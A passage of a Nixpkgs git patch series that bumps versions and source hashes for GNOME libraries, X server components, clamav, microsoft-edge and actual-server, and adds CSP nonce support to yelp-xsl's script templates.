-+        <xsl:attribute name="nonce">
-+          <xsl:value-of select="$html.csp.nonce" />
-+        </xsl:attribute>
-+      </xsl:if>
-       <xsl:attribute name="src">
-         <xsl:text>http://cdn.mathjax.org/mathjax/latest/MathJax.js?config=MML_HTMLorMML</xsl:text>
-       </xsl:attribute>
-@@ -1558,6 +1578,11 @@ result of {html.js.content} to that file.
- <xsl:template name="html.js.script">
-   <xsl:param name="node" select="."/>
-   <script type="text/javascript">
-+    <xsl:if test="$html.csp.nonce">
-+      <xsl:attribute name="nonce">
-+        <xsl:value-of select="$html.csp.nonce" />
-+      </xsl:attribute>
-+    </xsl:if>
-     <xsl:call-template name="html.js.content">
-       <xsl:with-param name="node" select="$node"/>
-     </xsl:call-template>
-@@ -2035,8 +2060,19 @@ on all `code` elements with `"syntax"` in the class value.
- <xsl:template name="html.js.syntax">
-   <xsl:param name="node" select="."/>
-   <xsl:if test="$html.syntax.highlight">
--  <script type="text/javascript" src="{$html.js.root}highlight.pack.js"></script>
--  <script><![CDATA[
-+    <script type="text/javascript" src="{$html.js.root}highlight.pack.js">
-+      <xsl:if test="$html.csp.nonce">
-+        <xsl:attribute name="nonce">
-+          <xsl:value-of select="$html.csp.nonce" />
-+        </xsl:attribute>
-+      </xsl:if>
-+    </script>
-+    <script>
-+    <xsl:if test="$html.csp.nonce">
-+      <xsl:attribute name="nonce">
-+        <xsl:value-of select="$html.csp.nonce" />
-+      </xsl:attribute>
-+    </xsl:if><![CDATA[
- document.addEventListener('DOMContentLoaded', function() {
-   var matches = document.querySelectorAll('code.syntax')
-   for (var i = 0; i < matches.length; i++) {
diff --git a/pkgs/by-name/ye/yelp-xsl/package.nix b/pkgs/by-name/ye/yelp-xsl/package.nix
index baf6e296d538..4004318a7ce1 100644
--- a/pkgs/by-name/ye/yelp-xsl/package.nix
+++ b/pkgs/by-name/ye/yelp-xsl/package.nix
@@ -1,6 +1,8 @@
 {
   lib,
   stdenv,
+  meson,
+  ninja,
   gettext,
   fetchurl,
   pkg-config,
@@ -10,17 +12,19 @@
   gnome,
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "yelp-xsl";
-  version = "42.1";
+  version = "42.4";
 
   src = fetchurl {
-    url = "mirror://gnome/sources/yelp-xsl/${lib.versions.major version}/yelp-xsl-${version}.tar.xz";
-    hash = "sha256-I4vhULFlMIDOE5lxMw/TbTomWV4NagQKLAML89IAW80=";
+    url = "mirror://gnome/sources/yelp-xsl/${lib.versions.major finalAttrs.version}/yelp-xsl-${finalAttrs.version}.tar.xz";
+    hash = "sha256-/euwfrLman+3oNzmrYJIrSmku7E0uoKRKMoQT1ir19E=";
   };
 
   nativeBuildInputs = [
     pkg-config
+    meson
+    ninja
     gettext
     itstool
     libxml2
@@ -29,9 +33,10 @@ stdenv.mkDerivation rec {
 
   doCheck = true;
 
-  patches = [
-    ./cve-2025-3155.patch
-  ];
+  postPatch = ''
+    patchShebangs \
+      xslt/common/domains/gen_yelp_xml.sh
+  '';
 
   passthru = {
     updateScript = gnome.updateScript {
@@ -54,4 +59,4 @@ stdenv.mkDerivation rec {
     ];
     platforms = platforms.unix;
   };
-}
+})

From 593f34af4b96e89e2687f2b49044a12deb961f2a Mon Sep 17 00:00:00 2001
From: Jan Tojnar <jtojnar@gmail.com>
Date: Fri, 13 Jun 2025 18:54:19 +0000
Subject: [PATCH 1240/4511] =?UTF-8?q?gexiv2:=200.14.3=20=E2=86=92=200.14.5?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

https://gitlab.gnome.org/GNOME/gexiv2/-/compare/gexiv2-0.14.3...gexiv2-0.14.5

Changelog-Reviewed-By: Jan Tojnar <jtojnar@gmail.com>
(cherry picked from commit 465ad3bfc7250d7955e12d136f54d9b730d7d89a)
---
 pkgs/by-name/ge/gexiv2/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ge/gexiv2/package.nix b/pkgs/by-name/ge/gexiv2/package.nix
index 7913d8aeb268..602a9332c4e1 100644
--- a/pkgs/by-name/ge/gexiv2/package.nix
+++ b/pkgs/by-name/ge/gexiv2/package.nix
@@ -19,7 +19,7 @@
 
 stdenv.mkDerivation rec {
   pname = "gexiv2";
-  version = "0.14.3";
+  version = "0.14.5";
 
   outputs = [
     "out"
@@ -29,7 +29,7 @@ stdenv.mkDerivation rec {
 
   src = fetchurl {
     url = "mirror://gnome/sources/${pname}/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz";
-    sha256 = "IeZNLFbpszPUT+8/KkslZT2SLEGazZcvqW+raVIX4sg=";
+    sha256 = "CRPFPaq6sfGrWGr9VbtVNweW8rirzG43ZAq3cErZnOE=";
   };
 
   nativeBuildInputs =

From 10bccc83f099d318d712889619067b6f09aee30d Mon Sep 17 00:00:00 2001
From: Jan Tojnar <jtojnar@gmail.com>
Date: Fri, 13 Jun 2025 18:54:21 +0000
Subject: [PATCH 1241/4511] =?UTF-8?q?gnome-online-accounts:=203.54.2=20?=
 =?UTF-8?q?=E2=86=92=203.54.3?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

https://gitlab.gnome.org/GNOME/gnome-online-accounts/-/compare/3.54.2...3.54.3

Changelog-Reviewed-By: Jan Tojnar <jtojnar@gmail.com>
(cherry picked from commit c8cc1ef11ce3eebdfe1ff103396cce9ba2e3106e)
---
 pkgs/by-name/gn/gnome-online-accounts/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/gn/gnome-online-accounts/package.nix b/pkgs/by-name/gn/gnome-online-accounts/package.nix
index 9d437660787e..dcf5cf77f51e 100644
--- a/pkgs/by-name/gn/gnome-online-accounts/package.nix
+++ b/pkgs/by-name/gn/gnome-online-accounts/package.nix
@@ -32,7 +32,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "gnome-online-accounts";
-  version = "3.54.2";
+  version = "3.54.3";
 
   outputs =
     [
@@ -46,7 +46,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   src = fetchurl {
     url = "mirror://gnome/sources/gnome-online-accounts/${lib.versions.majorMinor finalAttrs.version}/gnome-online-accounts-${finalAttrs.version}.tar.xz";
-    hash = "sha256-D389KcBmb/vMUD8+DzOWNi7/25MX1BZkzmXfFH7zU3I=";
+    hash = "sha256-vPZV3R3cIrwleTtoQNoZ9crXugtyJ/+WntnCUvA2qsU=";
   };
 
   mesonFlags = [

From c90ac6f4d8c5910a15a4368d6e392389908da973 Mon Sep 17 00:00:00 2001
From: Jan Tojnar <jtojnar@gmail.com>
Date: Fri, 13 Jun 2025 18:54:27 +0000
Subject: [PATCH 1242/4511] =?UTF-8?q?gnome-desktop:=2044.1=20=E2=86=92=204?=
 =?UTF-8?q?4.3?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

https://gitlab.gnome.org/GNOME/gnome-desktop/-/compare/44.1...44.3

Changelog-Reviewed-By: Jan Tojnar <jtojnar@gmail.com>
(cherry picked from commit 04ef31a5ff346e070982fdc1164706ea27d3a470)
---
 pkgs/by-name/gn/gnome-desktop/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/gn/gnome-desktop/package.nix b/pkgs/by-name/gn/gnome-desktop/package.nix
index 3da03ba6a6da..9a9d68d7f960 100644
--- a/pkgs/by-name/gn/gnome-desktop/package.nix
+++ b/pkgs/by-name/gn/gnome-desktop/package.nix
@@ -28,9 +28,9 @@
   withSystemd ? lib.meta.availableOn stdenv.hostPlatform systemd,
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "gnome-desktop";
-  version = "44.1";
+  version = "44.3";
 
   outputs = [
     "out"
@@ -39,8 +39,8 @@ stdenv.mkDerivation rec {
   ];
 
   src = fetchurl {
-    url = "mirror://gnome/sources/gnome-desktop/${lib.versions.major version}/${pname}-${version}.tar.xz";
-    sha256 = "sha256-rnylXcngiRSZl0FSOhfSnOIjkVYmvSRioSC/lvR6eas=";
+    url = "mirror://gnome/sources/gnome-desktop/${lib.versions.major finalAttrs.version}/gnome-desktop-${finalAttrs.version}.tar.xz";
+    sha256 = "sha256-QO+pqo1Q7/7ZIno9cGceMuncNeIPMxyrO1YpdZePT40=";
   };
 
   patches = lib.optionals stdenv.hostPlatform.isLinux [
@@ -114,4 +114,4 @@ stdenv.mkDerivation rec {
     platforms = platforms.unix;
     teams = [ teams.gnome ];
   };
-}
+})

From 241c6fd4cf67a105ed753cb69d79c2b0d94c5554 Mon Sep 17 00:00:00 2001
From: Jan Tojnar <jtojnar@gmail.com>
Date: Fri, 13 Jun 2025 18:54:37 +0000
Subject: [PATCH 1243/4511] =?UTF-8?q?libadwaita:=201.7.3=20=E2=86=92=201.7?=
 =?UTF-8?q?.4?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

https://gitlab.gnome.org/GNOME/libadwaita/-/compare/1.7.3...1.7.4

Changelog-Reviewed-By: Jan Tojnar <jtojnar@gmail.com>
(cherry picked from commit f7e33bf7645631c5dae63faf13a75e471d3837f8)
---
 pkgs/by-name/li/libadwaita/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/libadwaita/package.nix b/pkgs/by-name/li/libadwaita/package.nix
index 3dfd38cd4cad..427eac7604c9 100644
--- a/pkgs/by-name/li/libadwaita/package.nix
+++ b/pkgs/by-name/li/libadwaita/package.nix
@@ -23,7 +23,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "libadwaita";
-  version = "1.7.3";
+  version = "1.7.4";
 
   outputs = [
     "out"
@@ -37,7 +37,7 @@ stdenv.mkDerivation (finalAttrs: {
     owner = "GNOME";
     repo = "libadwaita";
     tag = finalAttrs.version;
-    hash = "sha256-zVmVh1iljidcXU+c7DAGBPkYyJkA11SvXtuCosB/Foc=";
+    hash = "sha256-HHSKqYOtIfG6JR8zvXl06tq0iHVVNIpVJLDwyB+nI0I=";
   };
 
   depsBuildBuild = [

From 07f001e2741c6d4f491582e37a85fbc11b17a0ed Mon Sep 17 00:00:00 2001
From: Jan Tojnar <jtojnar@gmail.com>
Date: Fri, 13 Jun 2025 18:54:42 +0000
Subject: [PATCH 1244/4511] =?UTF-8?q?gtk4:=204.18.5=20=E2=86=92=204.18.6?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

https://gitlab.gnome.org/GNOME/gtk/-/compare/4.18.5...4.18.6

Changelog-Reviewed-By: Jan Tojnar <jtojnar@gmail.com>
(cherry picked from commit 132b8ef5cb569f6cfa6bd40afa6bd25403724df1)
---
 pkgs/development/libraries/gtk/4.x.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/libraries/gtk/4.x.nix b/pkgs/development/libraries/gtk/4.x.nix
index 9204d8dacabc..3bb415a23c8d 100644
--- a/pkgs/development/libraries/gtk/4.x.nix
+++ b/pkgs/development/libraries/gtk/4.x.nix
@@ -68,7 +68,7 @@ in
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "gtk4";
-  version = "4.18.5";
+  version = "4.18.6";
 
   outputs = [
     "out"
@@ -83,7 +83,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   src = fetchurl {
     url = "mirror://gnome/sources/gtk/${lib.versions.majorMinor finalAttrs.version}/gtk-${finalAttrs.version}.tar.xz";
-    hash = "sha256-u1JnoGL1k2lH00yZmTkKZ0sLKw2Ko0cv4NBeIGSVWrw=";
+    hash = "sha256-4YF8ZQ3cMmH5qDRbOyKial2ArxVGMN7cA8x77O//0Po=";
   };
 
   depsBuildBuild = [

From 2eb59842a18c1b23d41668f0c9c38ddef9160504 Mon Sep 17 00:00:00 2001
From: Jan Tojnar <jtojnar@gmail.com>
Date: Fri, 13 Jun 2025 18:55:22 +0000
Subject: [PATCH 1245/4511] =?UTF-8?q?glib:=202.84.2=20=E2=86=92=202.84.3?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

https://gitlab.gnome.org/GNOME/glib/-/compare/2.84.2...2.84.3

Changelog-Reviewed-By: Jan Tojnar <jtojnar@gmail.com>
(cherry picked from commit b13a09226c72d9910721c76a94a452c42a092b3c)
---
 pkgs/by-name/gl/glib/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/gl/glib/package.nix b/pkgs/by-name/gl/glib/package.nix
index 233aa038d297..45e1b27165ae 100644
--- a/pkgs/by-name/gl/glib/package.nix
+++ b/pkgs/by-name/gl/glib/package.nix
@@ -74,7 +74,7 @@ in
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "glib";
-  version = "2.84.2";
+  version = "2.84.3";
 
   outputs = [
     "bin"
@@ -87,7 +87,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   src = fetchurl {
     url = "mirror://gnome/sources/glib/${lib.versions.majorMinor finalAttrs.version}/glib-${finalAttrs.version}.tar.xz";
-    hash = "sha256-iOlg3ZNwV0B9YfyztFqGBwSyWSPDeuJHi4Xy7LWkAh8=";
+    hash = "sha256-qk+HwyJb9XyoXzIIiPdISQGheTTKNwI8O9hDWnLbhj4=";
   };
 
   patches =

From 42eb9958ba55bf98deaf04ac08ecb3c563350529 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 19 Jun 2025 00:44:15 +0000
Subject: [PATCH 1246/4511] clamav: 1.4.2 -> 1.4.3

(cherry picked from commit 8fbac5dbdca98d9d80fa3e654213e0b575834f68)
---
 pkgs/by-name/cl/clamav/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/cl/clamav/package.nix b/pkgs/by-name/cl/clamav/package.nix
index 6cafb20cee6e..50d7e8d87a60 100644
--- a/pkgs/by-name/cl/clamav/package.nix
+++ b/pkgs/by-name/cl/clamav/package.nix
@@ -26,11 +26,11 @@
 
 stdenv.mkDerivation rec {
   pname = "clamav";
-  version = "1.4.2";
+  version = "1.4.3";
 
   src = fetchurl {
     url = "https://www.clamav.net/downloads/production/${pname}-${version}.tar.gz";
-    hash = "sha256-jJL4reKo8snWaI0dY+5X9sr5ZddNzgbQlxxnCcjmwEw=";
+    hash = "sha256-2HTKvz1HZbNbUY71NWWKHm7HSAIAah1hP58SSqE0MhA=";
   };
 
   patches = [

From 30c237249f4c12607445d065c662c2a98e4303e4 Mon Sep 17 00:00:00 2001
From: Sergei Trofimovich <slyich@gmail.com>
Date: Thu, 19 Jun 2025 06:22:07 +0100
Subject: [PATCH 1247/4511] xwayland: 24.1.7 -> 24.1.8

Changes: https://lists.x.org/archives/xorg/2025-June/062066.html
(cherry picked from commit 24896f1dd15e3b8ac886db24e81b68bdad6287cc)
---
 pkgs/servers/x11/xorg/xwayland.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/x11/xorg/xwayland.nix b/pkgs/servers/x11/xorg/xwayland.nix
index d5b49da0b521..3b255de27691 100644
--- a/pkgs/servers/x11/xorg/xwayland.nix
+++ b/pkgs/servers/x11/xorg/xwayland.nix
@@ -54,11 +54,11 @@
 
 stdenv.mkDerivation rec {
   pname = "xwayland";
-  version = "24.1.7";
+  version = "24.1.8";
 
   src = fetchurl {
     url = "mirror://xorg/individual/xserver/${pname}-${version}.tar.xz";
-    hash = "sha256-99l+JICSh4o/fTxosl2rZSv5cNnmoX0w+/RXquoTnMs=";
+    hash = "sha256-yJCNV8jtnOuCk8Frp61a9SLvrxun5R+eTPPAd00ZmQc=";
   };
 
   postPatch = ''

From cd0a2f4eff17a3a91598be3ef9a75bafdf89109b Mon Sep 17 00:00:00 2001
From: "Yang, Bo" <yang-bo@yang-bo.com>
Date: Tue, 17 Jun 2025 20:03:37 +0000
Subject: [PATCH 1248/4511] cockpit: add `pkgs.hostname` to the binary path for
 cockpit package

(cherry picked from commit c86b778c7af9731cfb6e01655d2726a446b626f5)
---
 pkgs/by-name/co/cockpit/package.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/co/cockpit/package.nix b/pkgs/by-name/co/cockpit/package.nix
index a58a3ee4c2be..35414a68510f 100644
--- a/pkgs/by-name/co/cockpit/package.nix
+++ b/pkgs/by-name/co/cockpit/package.nix
@@ -16,6 +16,7 @@
   glib-networking,
   gnused,
   gnutls,
+  hostname,
   iproute2,
   json-glib,
   krb5,
@@ -183,8 +184,9 @@ stdenv.mkDerivation (finalAttrs: {
     wrapProgram $out/share/cockpit/issue/update-issue \
       --prefix PATH : ${
         lib.makeBinPath [
-          iproute2
           gnused
+          hostname
+          iproute2
         ]
       }
 

From 85c7c76c5f7dd21cc5beab245616a0ffcca41cf7 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Thu, 19 Jun 2025 10:33:03 +0300
Subject: [PATCH 1249/4511] xorg-server: 21.1.17 -> 21.1.18

(cherry picked from commit 14e46eb813e638a86a836d02095d3d2689dbdbad)
Backport of PR #418096 - security again
https://lists.x.org/archives/xorg-announce/2025-June/003611.html
---
 pkgs/servers/x11/xorg/default.nix   | 6 +++---
 pkgs/servers/x11/xorg/tarballs.list | 2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/servers/x11/xorg/default.nix b/pkgs/servers/x11/xorg/default.nix
index 064336198271..a6f07441e1c1 100644
--- a/pkgs/servers/x11/xorg/default.nix
+++ b/pkgs/servers/x11/xorg/default.nix
@@ -7795,11 +7795,11 @@ self: with self; {
     }:
     stdenv.mkDerivation (finalAttrs: {
       pname = "xorg-server";
-      version = "21.1.17";
+      version = "21.1.18";
       builder = ./builder.sh;
       src = fetchurl {
-        url = "mirror://xorg/individual/xserver/xorg-server-21.1.17.tar.xz";
-        sha256 = "1l7cxxk2z8vxz42a3bjm7l2mzhd44kna9lwk5lncvx2m3b143552";
+        url = "mirror://xorg/individual/xserver/xorg-server-21.1.18.tar.xz";
+        sha256 = "0lk3268gzpll547zvaa64rdhs4z89d7w567lbd55swl71n9x2y68";
       };
       hardeningDisable = [
         "bindnow"
diff --git a/pkgs/servers/x11/xorg/tarballs.list b/pkgs/servers/x11/xorg/tarballs.list
index 651d7349a36a..e442dc2adce4 100644
--- a/pkgs/servers/x11/xorg/tarballs.list
+++ b/pkgs/servers/x11/xorg/tarballs.list
@@ -207,4 +207,4 @@ mirror://xorg/individual/util/bdftopcf-1.1.2.tar.xz
 mirror://xorg/individual/util/imake-1.0.10.tar.xz
 mirror://xorg/individual/util/lndir-1.0.5.tar.xz
 mirror://xorg/individual/util/xorg-cf-files-1.0.8.tar.xz
-mirror://xorg/individual/xserver/xorg-server-21.1.17.tar.xz
+mirror://xorg/individual/xserver/xorg-server-21.1.18.tar.xz

From 89b14e319ce80325e6a06ed99923fa1cd3f3ebd4 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 19 Jun 2025 00:01:35 +0000
Subject: [PATCH 1250/4511] ytdl-sub: 2025.06.01.post1 -> 2025.06.12

(cherry picked from commit 72b6b835bf059ae997264e89c12b61f54859c3ff)
---
 pkgs/by-name/yt/ytdl-sub/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/yt/ytdl-sub/package.nix b/pkgs/by-name/yt/ytdl-sub/package.nix
index 20e51cf80293..960a5a8cea7f 100644
--- a/pkgs/by-name/yt/ytdl-sub/package.nix
+++ b/pkgs/by-name/yt/ytdl-sub/package.nix
@@ -8,14 +8,14 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "ytdl-sub";
-  version = "2025.06.01.post1";
+  version = "2025.06.12";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "jmbannon";
     repo = "ytdl-sub";
     tag = version;
-    hash = "sha256-qwsUb9w/eeNO1mGYpnwkWgH5AfcUm7Y7DtkWep8SAcA=";
+    hash = "sha256-42fvyUCaVaaGLW7CdoJidJQAUgjG2wmCeHxWA+XUQCk=";
   };
 
   postPatch = ''

From 047d1397ebd6ae8395a993dba43679f0c2238e88 Mon Sep 17 00:00:00 2001
From: emaryn <emaryn@users.noreply.github.com>
Date: Thu, 19 Jun 2025 02:57:27 +0800
Subject: [PATCH 1251/4511] microsoft-edge: add permission to update.py

(cherry picked from commit baf533bfe60b2f1f39d0d58b09d8ff27c6773a5e)
---
 pkgs/by-name/mi/microsoft-edge/update.py | 0
 1 file changed, 0 insertions(+), 0 deletions(-)
 mode change 100644 => 100755 pkgs/by-name/mi/microsoft-edge/update.py

diff --git a/pkgs/by-name/mi/microsoft-edge/update.py b/pkgs/by-name/mi/microsoft-edge/update.py
old mode 100644
new mode 100755

From fe5997f00dde4460862bd05221e07f288133dc97 Mon Sep 17 00:00:00 2001
From: emaryn <emaryn@users.noreply.github.com>
Date: Thu, 19 Jun 2025 02:57:48 +0800
Subject: [PATCH 1252/4511] microsoft-edge: 137.0.3296.68 -> 137.0.3296.83

(cherry picked from commit d20e9d5bcb628c2cfe3b862045210255e0040262)
---
 pkgs/by-name/mi/microsoft-edge/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/mi/microsoft-edge/package.nix b/pkgs/by-name/mi/microsoft-edge/package.nix
index 22790e4ebd1c..33bd2234bfbb 100644
--- a/pkgs/by-name/mi/microsoft-edge/package.nix
+++ b/pkgs/by-name/mi/microsoft-edge/package.nix
@@ -179,11 +179,11 @@ in
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "microsoft-edge";
-  version = "137.0.3296.68";
+  version = "137.0.3296.83";
 
   src = fetchurl {
     url = "https://packages.microsoft.com/repos/edge/pool/main/m/microsoft-edge-stable/microsoft-edge-stable_${finalAttrs.version}-1_amd64.deb";
-    hash = "sha256-dgmQF6zpd8dAYKoTSiidk8VU6dZ/ZWEDlYD91IPaDEE=";
+    hash = "sha256-wbiijvxzyyM9lxoMtcQHFqZYChlsHh0hNQTwdgxPpZY=";
   };
 
   # With strictDeps on, some shebangs were not being patched correctly

From f3f97520cd3e53556de9608a016b59277b83679b Mon Sep 17 00:00:00 2001
From: Patrick <patrick@failmail.dev>
Date: Thu, 5 Jun 2025 17:26:56 +0200
Subject: [PATCH 1253/4511] actual-server: 25.5.0 -> 25.6.1

(cherry picked from commit f6a84bc76e7b180904b2625279b283f7d431c956)
---
 .../ac/actual-server/missing-hashes.json      |  99 +++++++++
 pkgs/by-name/ac/actual-server/package.nix     | 209 +++++-------------
 2 files changed, 159 insertions(+), 149 deletions(-)
 create mode 100644 pkgs/by-name/ac/actual-server/missing-hashes.json

diff --git a/pkgs/by-name/ac/actual-server/missing-hashes.json b/pkgs/by-name/ac/actual-server/missing-hashes.json
new file mode 100644
index 000000000000..acb793bca24f
--- /dev/null
+++ b/pkgs/by-name/ac/actual-server/missing-hashes.json
@@ -0,0 +1,99 @@
+{
+  "@esbuild/aix-ppc64@npm:0.25.1": "b7b13c0ba1ad3251586c094b8a62620f3d47ff5b7037ece162a6be0b6219ef7e7af54dd723172f997188433ab767f375ad213cad3d515ea41ab09390d84e726c",
+  "@esbuild/android-arm64@npm:0.25.1": "88003e0f79cf75f4d034b3bdf2c0e9e44ad90aa10b6b75b7241e468fb751f5de5610afd4ed9fdc2febf1ddbad16b20bd376cd5aaef694f46a62763ba164e5ea3",
+  "@esbuild/android-arm@npm:0.25.1": "ef86951b4b247fc530180607da8d67671586f02859cd8b6ba922658c34c48135a1729df352308051efb4fd7856e01f60a90f921f4159a56fe9ae9d422ed948fc",
+  "@esbuild/android-x64@npm:0.25.1": "eb6e9285ea5e629983b065d6cc2bfe882337861fd4491cf497291cb9628b95d498e86bd0ea440e2e3aa9cd0bcb913cdfce6bd75c947b6d0e22bc0ae549ca6d89",
+  "@esbuild/darwin-arm64@npm:0.25.1": "34c125754c2103eb497937df842eadf32acd2bc074de0918db43f51913688651003457e8d837cb2aea371db47aefa162a73bcbed7529efb3fce41e162236ea9c",
+  "@esbuild/darwin-x64@npm:0.25.1": "0920b1622909f001028fa9c8978edd53ee3ec3cb6321a50f0b20ce67d5d82ed55a4acdb459800a4fe374bd70b953b51366026756d169a26982bbc3f1a7131f16",
+  "@esbuild/freebsd-arm64@npm:0.25.1": "5f30c81b55eb9586778e4f832616b2f66d8aaade864ac46e605d33c2b7daa83ef04485830e96cd138375b5b79bd9b765386c3d8abe7d88c2bbecc0ca19a628a7",
+  "@esbuild/freebsd-x64@npm:0.25.1": "9b5086c0ba8a1c8bd19eeb4536f3efdee186dfbc954821e5d8e041d38e4698c2eed46ac95d72018a9914b994f1de12be9f5dbe054994a0a72e4f0dabf9f1a6f7",
+  "@esbuild/linux-arm64@npm:0.25.1": "202515560459ecb05044e0ae6079c0fbecbe863f35dfa5d2adc2f9e830a543ed6412aa277a79fd1e94d33c499ca5b5984bdc25124268950d8f95375f76999810",
+  "@esbuild/linux-arm@npm:0.25.1": "c6fe6372e4870ad2d232c4bfe926c41be76cbd67143df8377320ae38971bc1cea50f342f88a31e54a43c4ca0a84e2c3a1accf780ba630b356b87eb51dc5ee5a2",
+  "@esbuild/linux-ia32@npm:0.25.1": "2719e82d4d6718ad034856e1588e9946e7390d8c4e2dbe61cfb6feec15464a999ebee477fa5189fef31517b27816b312fb68f0a496c6e8895989db2c0cbcd96b",
+  "@esbuild/linux-loong64@npm:0.25.1": "ae79c5760e03418100376dbbd89ba21b85b31b5959035ac127c927c09acc097e3f24747e56496ce63f5b4a94a2d5e0aa538ad74060c2a21f4b5d6dfc69bbd7ae",
+  "@esbuild/linux-mips64el@npm:0.25.1": "00bfc596edb4e20d0c267f6c8874a0e99960ecc24a8f1755ddfa31f472a35dd58de835982e0721a7641ce494b6947cfd271cf933580674c6e4451a371d0723ba",
+  "@esbuild/linux-ppc64@npm:0.25.1": "cfab66cdb8ad5fe15ea74ce19b945ef7a9291f252f7f063095e0d718d3be36abcc85f9cac26463865dfa03970c28e7e4e6a93fc75adb405cea492ca6f22ead4e",
+  "@esbuild/linux-riscv64@npm:0.25.1": "ef46ca2ef7ae0f3f96a795317297ceac2a08d4a4052a133d30722666de8bbae20029ad1ef79c63adce5f66b7afc017bd4611c71ae22d8db34b60170c2b45c637",
+  "@esbuild/linux-s390x@npm:0.25.1": "cd9a4641369c3df48da83895a2dfa66e02170ecee190fa817f03b659732f6b20dceb02dc281cfdfb145a4407e3aea98eb2c0587ff6d161d16de8d7a502112a5c",
+  "@esbuild/linux-x64@npm:0.25.1": "c73b51929e1dc770b8eb25c93551c6f6808858623647266b49a9aacbbf0b68ecffa6cb54bebd5b8c14c498a42a7631081033de6be4a35ff049dfda37e52fda3f",
+  "@esbuild/netbsd-arm64@npm:0.25.1": "a094af97cb886c65034445492d0679588e66daf0317c3567da2b529816154a581944e18888d2515cf543be4c4b7a1509ebcc7871d01c2ac66b9f53f56af5ea8d",
+  "@esbuild/netbsd-x64@npm:0.25.1": "7461fd218fc88ae4b6534573bc84af995be0faa5b5dbd8be2635c12bb0d74c7c860487fbc07fd0487d4231fc3272f02f5db180d6c79e632f6e8f33138b626462",
+  "@esbuild/openbsd-arm64@npm:0.25.1": "014da561c510c2f80a2917560a0d24af8a951cbb60fc54fb8b03361ce1fb2e9c8baa361e970509db4f4690fb039a564fa5393c781042ba94a76681871e787f75",
+  "@esbuild/openbsd-x64@npm:0.25.1": "bc500e5610f6584c2c8412e9b9f2df827b83a91f0d3c04a91b6d031a2c7f0ee45b37984b4a7d2299c54e6188e6dab551f71bb38331e7fbb91009a8bc9852ff57",
+  "@esbuild/sunos-x64@npm:0.25.1": "d915f595373916b96c6f531a45bfb04297ce199d4c8d86e1c980e6508af157b25e5e6d19a7b4bc05a657d08bdfbac099457bccd624c6da574e8f5dbbff9f0ce6",
+  "@esbuild/win32-arm64@npm:0.25.1": "be20428d1e4bdd2a3e77e30127f8fb24fe073f7317b9aa3474d8a59a6e832bb93c323128a8f10841ba2d3838d7d8f8bb2bebf90ef196087f766d5a32f81c642d",
+  "@esbuild/win32-ia32@npm:0.25.1": "7f3fa011cc38ba05c31d07e89eb19aa1587720d8dc44df727e5d14b02d5b2a238297e88597cbcbba4fa2b8c9d4f2f96124020114b4981e533fedd8a8e2fe27bb",
+  "@esbuild/win32-x64@npm:0.25.1": "51a470813dd92d7ca58bfd30a2d94d7ce7a363f750df8164f359ffe28caa270d36ffae3aa8407eddfa5b214d173ada1a121ccf19c5d21fc36092634b9e5fea17",
+  "@parcel/watcher-android-arm64@npm:2.5.1": "e9c94ede3bd5c5d999d117d22ac8032a17f8ebc72db3eff04ccb2b4e6718db19f24bf29a66a610e03f4ee95e2cd7b2d30c15b1845eb897b971fec75dbdd76141",
+  "@parcel/watcher-darwin-arm64@npm:2.5.1": "0cab55a55c128ac5742388fc8dbfeb9877018509943801ce8a52b57bb6dca24189d025d38684b1e482cb7816368a52c6434dfe45d3997e2fd2509276f48774ea",
+  "@parcel/watcher-darwin-x64@npm:2.5.1": "bf07b8ca9a435fb885fb0ca6565204d2f2098d7f632faf26a6478bb39f538c73b50afca17c193dc189a80a864d85e40f924ec7f21a0e7ad7d0de6f97f7154134",
+  "@parcel/watcher-freebsd-x64@npm:2.5.1": "9f62b9da08e98bffb7cf91b557af209586e1d7dd654c56c5a58fc4b0bb61a9bb318116ed0048416d3341d3434b1fb3089bf6cfbfcd08e61333917bc59e691c1d",
